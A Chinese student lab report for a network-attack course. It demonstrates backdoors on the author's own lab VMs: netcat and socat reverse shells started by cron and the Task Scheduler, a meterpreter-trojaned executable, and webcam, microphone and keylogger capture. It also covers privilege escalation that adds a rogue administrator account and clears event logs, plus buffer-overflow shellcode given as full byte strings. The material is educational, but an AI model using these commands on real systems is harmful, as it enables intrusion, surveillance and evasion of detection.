网络对抗实验2—后门原理与实践
课程:网络对抗技术
班级:1912 姓名:陈发强 学号:20191206
实验名称:后门原理与实践 实验日期:2022.3.31
实验目的
-
了解网络后门的原理与危害。
-
学会使用 netcat 、socat 获取主机 shell
-
理解 TCP 反弹 shell 的原理
-
初步掌握 metasploit 的使用
实验内容
-
使用netcat获取主机操作Shell,cron启动
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter 生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用MSF生成shellcode 注入到实践1中的pwn1中,获取反弹连接Shell
实验过程
(一)使用netcat获取主机操作Shell,cron启动
思路:
-
攻击者 持续监听 1206 端口
-
受害者 cron 添加定时任务,定时反向连接攻击者的1206端口
过程:
攻击者 Windows 10 IP :192.168.144.134
受害者 Kali IP :192.168.144.151
- windows 使用natcat监听1206端口
ncat.exe -lvp 1206
- kali 使用nc命令测试连通性
nc 192.168.144.134 1206 -e /bin/sh
可以连通
- kali添加定时任务,执行nc命令,连接windows攻击者
crontab -e
48 * * * * nc 192.168.144.134 1206 -e /bin/sh
- windows用ncat监听1206端口,等待每小时的48分,受害者kali主动连接自己
(二)使用socat获取主机操作Shell, 任务计划启动
思路:
-
攻击者kali使用socat监听1206端口
-
受害者windows在任务启动计划中添加定时任务,定时主动连接kali的1206端口
过程:
攻击者 Windows 10 IP :192.168.144.134
受害者 Kali IP :192.168.144.151
- kali监听1206端口
socat tcp-listen:1206 -
- 测试连通性
Windows
socat.exe TCP:192.168.144.151:1206 exec:cmd.exe //报错,管道不存在
socat.exe tcp:192.168.144.151:1206 exec:cmd.exe,pty,stderr
可以连通
- windows添加定时任务,主动连接攻击者kali
Win+R compmgmt.msc
在系统工具中,找到任务计划程序,点击右侧的创建任务
常规设置:任务名
触发器:设置成一次吧
操作:设置成 C:\Users\doxide\Desktop\socat\socat.exe
参数 tcp:192.168.144.151:1206 exec:cmd.exe,pty,stderr
其他保持默认即可
- kali监听1206端口,等待windows的主动连接
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
思路:
-
kali ncat 监听,Win10 ncat连接 kali ,将hello.exe发送给kali
-
kali 接收 hello.exe 并使用 msfvenom 植入反弹shell的后门
-
kali ncat 监听,将毒化后的hello.exe 发送给连接者 Win10
-
kali 进入msfconsole控制台,监听端口,等待Win10运行有毒的 hello.exe 连接自己,从而获得shell
过程
kali接受windows的文件
kali监听,输出重定向
nc -lvp 1206 > 1206hack.exe
windows连接,输入重定向(坑:必须是绝对路径)
ncat.exe 192.168.144.151 1206 < C:\Users\doxide\Desktop\hello.exe
kali毒化1206hack.exe
msfvenom -p windows/meterpreter/reverse_tcp -x ./1206hack.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe
//这个后来windows会显示不能运行。其实不应该encoder,因为windows没有decoder,payload会没办法运行,我觉得是这样
//由于不是缓冲区溢出攻击,也没必要绕过字符串的00截断
//加上-k参数,保持原来程序的功能,改成
msfvenom -p windows/meterpreter/reverse_tcp -k -x ./1206hack.exe LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe
//还是不能运行
//后来发现是 ncat 传文件没传完整,要耐心等待......
//然后加上encoder也是可以正常运行的
//-k 参数有点问题,在windows运行报错了
//最后确定用下面这个
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp -x ./hello.exe -e x86/shikata_ga_nai -i 5 LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe
或者
//单纯的后门,没有原来程序的功能
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -f exe > 1206hack.exe
kali把有毒的1206hack.exe 传回给windows
nc -lvp 1206 < 1206hack.exe
ncat.exe 192.168.144.151 1206 > C:\Users\doxide\Desktop\1206hack.exe
kali进入msf控制台,准备监听来自windows的反弹shell连接
对msf控制台进行配置,依次输入以下命令
use exploit/multi/handler #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用与windows后门相同的payload
set LHOST 192.168.144.151 #Kali ip
set LPORT 1206 #kali port
run
windows运行带有后门的程序,kali msfconsole获得session
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
思路:
-
在上一步攻击成功的基础上,获得session之后,使用相应指令,即可完成 录音、摄像头、击键记录、截屏等功能
-
在获得 session 的基础上,POST 模块提权。
过程:
- 获取 录音、摄像头、击键记录、截屏
record_mic -d 5 //录音 5 秒
webcam_list //列出网络摄像头 //没有
webcam_snap //用摄像头拍照
keyscan_start //开始记录键盘
keyscan_dump //显示捕获到的键盘记录
keyscan_stop //停止记录键盘
screenshare //生成一个html,用浏览器打开,可以实时获取屏幕信息
screenshot //获取截屏
- POST 模块提权
方法一:先试一下直接getsystem能不能行
getsystem //报错了
getuid
方法二:尝试利用其它漏洞提权
search ms16 arch:x64
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms16_051_vbscript 2016-05-10 normal No Internet Explorer 11 VBScript Engine Memory Corruption
1 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities
2 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC
3 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
4 exploit/windows/local/ms16_014_wmi_recv_notif 2015-12-04 normal Yes Windows WMI Receive Notification Exploit
//都不行
//换一个
use post/windows/escalate/ms10_073_kbdlayout //也不行,Windows 10 (10.0 Build 10240). is not vulnerable.
//看来win10还是有些东西
方法三:盗取令牌
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠
//失败
方法四:Bypassuac
use exploit/windows/local/bypassuac
//失败 Windows 10 (10.0 Build 10240). is not vulnerable.
方法五:Hash
use post/windows/gather/smart_hashdump
//失败,权限不够
方法六:添加服务
use exploit/windows/local/service_permissions //失败
search service arch:x64 platform:windows
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/applocker_bypass 2015-08-03 excellent No AppLocker Execution Prevention Bypass
1 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move 2020-03-10 excellent Yes Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
2 exploit/windows/local/cve_2020_17136 2020-03-10 normal Yes CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
3 exploit/windows/local/anyconnect_lpe 2020-08-05 excellent Yes Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)
4 exploit/multi/misc/osgi_console_exec 2018-02-13 normal Yes Eclipse Equinox OSGi Console Command Execution
5 exploit/multi/misc/freeswitch_event_socket_cmd_exec 2019-11-03 excellent Yes FreeSWITCH Event Socket Command Execution
6 exploit/windows/local/gog_galaxyclientservice_privesc 2020-04-28 excellent Yes GOG GalaxyClientService Privilege Escalation
7 exploit/windows/smb/generic_smb_dll_injection 2015-03-04 manual No Generic DLL Injection From Shared Resource
8 exploit/windows/http/generic_http_dll_injection 2015-03-04 manual No Generic Web Application DLL Injection
9 exploit/windows/misc/hp_dataprotector_cmd_exec 2014-11-02 excellent Yes HP Data Protector 8.10 Remote Command Execution
10 exploit/multi/misc/java_jdwp_debugger 2010-03-12 good Yes Java Debug Wire Protocol Remote Code Execution
11 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution
12 exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077 2021-09-16 excellent Yes ManageEngine ServiceDesk Plus CVE-2021-44077
13 exploit/windows/local/nvidia_nvsvc 2012-12-25 average Yes Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
14 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities
15 exploit/windows/http/oracle_endeca_exec 2013-07-16 excellent Yes Oracle Endeca Server Remote Command Execution
16 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token
17 exploit/windows/local/bits_ntlm_token_impersonation 2019-12-06 great Yes SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.
18 exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec 2021-07-07 good Yes Sage X3 Administration Service Authentication Bypass Command Execution
19 exploit/windows/misc/webdav_delivery 1999-01-01 manual No Serve DLL via webdav server
20 exploit/windows/http/sitecore_xp_cve_2021_42237 2021-11-02 excellent Yes Sitecore Experience Platform (XP) PreAuth Deserialization RCE
21 exploit/windows/winrm/winrm_script_exec 2012-11-01 manual No WinRM Script Exec Remote Code Execution
22 exploit/windows/local/service_permissions 2012-10-15 great No Windows Escalate Service Permissions Local Privilege Escalation
23 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC
24 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
尝试了十几个一下,好像都不太行
唉,不能操之过急,还是先信息搜集吧
run post/multi/recon/local_exploit_suggester //先漏洞扫描一波
run post/multi/gather/env //收集系统信息
run post/windows/gather/checkvm` //看看是不是虚拟机
run post/windows/gather/forensics/enum_drives //看眼磁盘分区
run post/windows/gather/enum_services //看看开了什么服务
run post/windows/gather/enum_applications //看看应用软件
run post/windows/gather/dumplinks //看看最近的操作
run post/windows/gather/enum_logged_on_users //看看登录的用户
run post/windows/gather/enum_snmp //看看有没有snap服务
//也看不出来有什么漏洞......
又尝试几个 payload,只有下面这个爆了一个假shell
看来 微软 还是很厉害的,只能提权 win7 了
run killav
getsystem //失败
run post/multi/recon/local_exploit_suggester
[+] 192.168.144.154 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 192.168.144.154 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
background
use exploit/windows/local/bypassuac_sdclt、options、set、run //拿到了一个新的会话,但是没有管理员权限
use exploit/windows/local/ms16_014_wmi_recv_notif //拿到了管理员权限
getsystem //[-] Already running as SYSTEM
getuid //Server username: NT AUTHORITY\SYSTEM
shell
chcp 65001
net user hacker hacker /add
net localgroup administrators hacker /add //成功添加hacker用户为管理员
exit
clearev //清楚入侵痕迹
打开win7的控制面板,可以看到新添加的hacker管理员
经过win7提权,发现之前win10提权有致命的问题,kali的端口没开对,改下端口和防火墙重新尝试提权
run killav
run post/multi/recon/local_exploit_suggester
[+] 192.168.144.134 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 192.168.144.134 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
use exploit/windows/local/bypassuac_dotnet_profiler
getsystem //...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
getuid //Server username: NT AUTHORITY\SYSTEM
shell
chcp 65001
net user hacker hacker /add
net localgroup administrators hacker /add //成功添加hacker用户为管理员
exit
clearev //清楚入侵痕迹
成功在 win10 添加 hacker 管理员
(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
思路:
-
生成shellcode
-
MSF监听
-
注入pwn1,反弹shell
-
远程注入Ubuntu
过程:
- 使用msfvenom生成shellcode
先找一个合适的payload
msfvenom -l payloads | grep linux | grep x86 | grep tcp | grep reverse
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
//本次shellcode不能有 \x00和\x0a 使用-b参数
//试一下 linux/x86/meterpreter/reverse_tcp
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c
//把生成的shellcode放到C代码中进行验证
//gcc -m32 ; exestack -s;
//能短暂连接上msfconsole的监听并生成会话,但会立即爆出段错误退出。
===========================================================================================================
//排查是否是 64 位的问题
//试一下 linux/x64/meterpreter/reverse_tcp
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c
//C语言运行shellcode,还是一样的短暂连接,爆段错误
//64位也爆段错误,可能是payload的问题
===========================================================================================================
//多换几个payload
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/metsvc_reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -b '\x00\x0a' -f c //失败
//编码与否不影响shellcode的正常执行 -e x86/shikata_ga_nai
msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=192.168.144.151 LPORT=1206 -b '\x00\x0a' -f c //失败
===========================================================================================================
//看来不是payload的问题
//后知后觉,msfvenom的payload换了,mfs监听的payload没换
//重新尝试
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.144.151 LPORT=1206 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a' -f c
//可以了
- 注入1206pwn
实验一的缓冲区溢出攻击的准备工作就略过了
返回应地址覆盖为 0xffffd170
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\xbf\xf7\x44\x67\x81\xd9\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x3a\x31\x7d\x15\x03\x7d\x15\x83\xed\xfc\xe2\x02\xff\xc0\x23\xd0\x76\xd5\xff\xf1\x03\xcd\x0b\x5c\xdd\xc4\x45\x6a\x2c\x8a\xb7\x11\xa3\xc8\xbb\xef\x90\xef\x3f\xd2\xb0\xae\x38\xaa\xce\xcb\xe1\x3e\x44\x5d\x10\xe1\x40\x65\x8a\x33\x90\x59\x51\x63\x57\x58\xb1\xab\x33\x78\x02\xc1\x52\xe0\x0e\x46\x23\x8a\xd8\x92\x12\xcf\x6e\x36\x59\xbc\xe9\x7a\xf7\x73\xfc\xe6\x87\xb6\x3e\x4a\x1c\xed\x36\x33\xed\xae\x90\x5d\xf3\x94\xb1\x2d\xad\x17\x37\x75\xb8\x1d\x06\xdf\xf6\x1c\x8a\x8e\x84\xa3\xa7\xeb\xbd\x0b\x76\x46\x04\xbd\x04\xdf\x97\xe4\x3b\x2a\x26\x6d\x2f\xc2\x92\xea\xfe\x92\x14\x93\xea\x77\x04\xa2\xd6\x84\xca\xe3\xc2\xa3\x29\x68\xd0\xe5\x78\xeb\x1d\xb7\x86\x04\xee\x57\xf3\xaf\x7f\xf0\x97\x72\xf1\x6c\xe8\xd0\x9c\xc6\x45\x6d\xba\x41\x07\x6c\xf9\x0b\xf6\x09\xc3\x79\x03\x66\x4a\x7e\x7b\x01\x4c\x23\x57\xc3\x11\xca\xd8\xde\x1e\x04\xaa\xbf\x18\x85\x66\xc3\x19\xb7\x93\x2d\xd4\x59\x61\x64\x26\x65\x33\x15\x27\xe1\xf0\xab\xd4\x53\xad\x7b\xe9\x69\x4f\xd7\xe4\x11\x69\x4a\x9c\xf1\xd2\x93\x57"'> hack2.bin
(cat hack2.bin ; cat)| ./1206pwn
//段错误
GDB attach一下,layout asm ; x/16x 0xffffd170
//shellcode确实写进去了,eip也成功跳转了
- 错误排查
1. 是否是编码问题? //删除-e参数,再来一遍,还是不行
2. 是否是payload问题? //换一个,linux/x86/meterpreter/reverse_tcp 还是不行
3. 是否是 -b 的问题? //反汇编一下有-b 的shellcode,再反汇编一下没有-b 的shellcode
//发现,这两个的汇编语言差距有些大,没有-b参数的汇编明显更合理一些。猜测-b参数可能对shellcode进行了转换,而转换之后不能直接用于缓冲区溢出攻击。
//寻寻觅觅,发现linux/x86/meterpreter/reverse_nonx_tcp的名字挺有意思的,不会是生成的shellcode没有\x00的意思吧?
4. 尝试payload换成linux/x86/meterpreter/reverse_nonx_tcp //生成shellcode一看,果然没有0x00;再反汇编一看,汇编也挺合理。
//而且和我实验一写的 tcp反弹shellcode比较相似。
//我实验一的 tcp反弹shellcode 是可以配合 MSF或nc 攻击成功的
//预感这次没问题
- 高兴地拿新的shellcode注入1206pwn
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x97\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1
"'> hack2.bin
//msfconsole 监听
(cat hack2.bin ;cat) | ./1206pwn
//成功!!!
- Ubuntu 远程注入 kali,缓冲区溢出攻击,kali 反弹 shell 回连 Ubuntu
-
Ubuntu 攻击者 IP = 192.168.144.137 msfconsole 监听 1206 端口
-
Kali 受害者 IP = 192.168.144.151 在 1206 端口 运行有缓冲区溢出漏洞的 1206pwn
先测试一下kali本地注入能否连上 Ubuntu 的 msfconsole,测试成功啊,就不截图了。
下面开始远程注入
kali
nc -lvp 1206 -e ./1206pwn
Ubuntu
msfconsole 启一个监听,payload用对应的 linux/x86/shell/reverse_nonx_tcp
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.144.137 LPORT=1206 -f c
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x89\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin
(cat hack.bin ;cat) | nc 192.168.144.151 1206
哇,终于成功了!果然肯花时间还是能做出来的。
可以看到 Ubuntu msf 已经拿到了 session
接下来即使只要kali的1206pwn还在运行,会话就能保持
kali,除了nc显示有连接以外,没有其他异常
实验体会
本次实验踩了不少的坑,而且网上也搜不到相关的解决办法,在这四面楚歌的情况下,我还是想把实验完完本本地做出来。尤其是在 POST 模块 win10 提权,和 msfvenom 生成 shellcdoe 注入 pwn1 的实验中,我看到不少同学没怎么尝试 win10 的提权,不能缓冲区溢出攻击注入shellcode,就直接毒化ELF文件,但是我不想这样。
我回想了一下老师上课说的排查问题的方法,并有意识地运用到本次实验中。所幸基础知识比较扎实,通过不断控制单一变量的方法,不断尝试,还真的解决了一些问题。同时进一步认识到,查看官方手册 和 使用help 是重要的学习途径,当然这要建立在有了一定的经验和理解的基础上。
这次能用msfvenom生成能缓冲区溢出的shellcode,也是建立在实验一的基础上。如果没有亲手写过execve nc 反弹shell的汇编的话,也许永远也发现不了 加了-b 参数的shellcode是不太对劲的,也就不会想到linux/x86/shell/reverse_nonx_tcp可能是大佬留下的没有0x00截断的shellcode,也就不会多次尝试这个payload。其他的 payload 不是有 0x00 就是有 0x0a ,加了 -b 又不能正常缓冲区溢出成功。
不得不说知识的相互交叉,还真是奇妙。
代价就是耗费了大量的时间,二十多个小时不知不觉就过去了,真是一个 bug 改一天......
最后我还是把辛苦得到的实验成果,分享给了同学,哈哈,独乐乐不如众乐乐
实验最开始还有一个小插曲,cron 选编辑器,看到官方标注nano最简单,然后选了nano,结果不是图形化的界面,也没vim用得熟悉,就想换成vim,结果换不了...差点吐血...还好发现了select-editor命令,设置用户的优先编辑器为vim,然后重启cron就是vim编辑了。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
-
下载非官方软件。
-
网站漏洞。比如说我如果把自己的小破网站开起来,就会存在 文件上传漏洞啊,SQL注入漏洞啊,XSS啊...
利用漏洞写个后门,在拿个菜刀蚁剑连接还是轻轻松松的。 -
SSH弱口令。不少机器都是开了SSH远程登录的,弱口令爆破。
-
主动插入带毒的U盘,或者别人趁我不注意,插入带毒的U盘
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- windows
- 开机自启动
- 注册表启动
- 定时任务管理器
- 配合其他漏洞,如远程命令执行
- 网站直接访问。比如已经成功写入了PHP的一句话木马,直接访问就可以了,菜刀蚁剑也可以。
- linux
- cron定时任务
- 运行带后门的程序
- 配合其他漏洞,如远程命令执行
- 网站直接访问。比如已经成功写入了PHP的一句话木马,直接访问就可以了,菜刀蚁剑也可以。
(3)Meterpreter有哪些给你映像深刻的功能?
-
功能强。
集成了很多模块,从信息搜集,到花式渗透攻击,再到提权,全都有对应的功能模块。
-
入门快。
search,use ,set ,options,run,session,基本就可以用起来了。
-
精通难。
要成功利用漏洞,就必须要知道漏洞的细节和原理。如果只是稀里糊涂地、浅尝辄止地攻击,msf那么多功能放在那也是白搭。
我在本次实验中也体会到了,即使凑巧选对了 payload,不根据实际情况进行调整,也是不会轻易成功的。
(4)如何发现自己有系统有没有被安装后门?
-
杀毒软件
-
异常开启的端口
-
流量分析
-
检查定时任务
-
系统莫名其妙地出现异常、风扇异常响起、内存突然增加......
-
手工检查 任务管理器 、启动项 、注册表......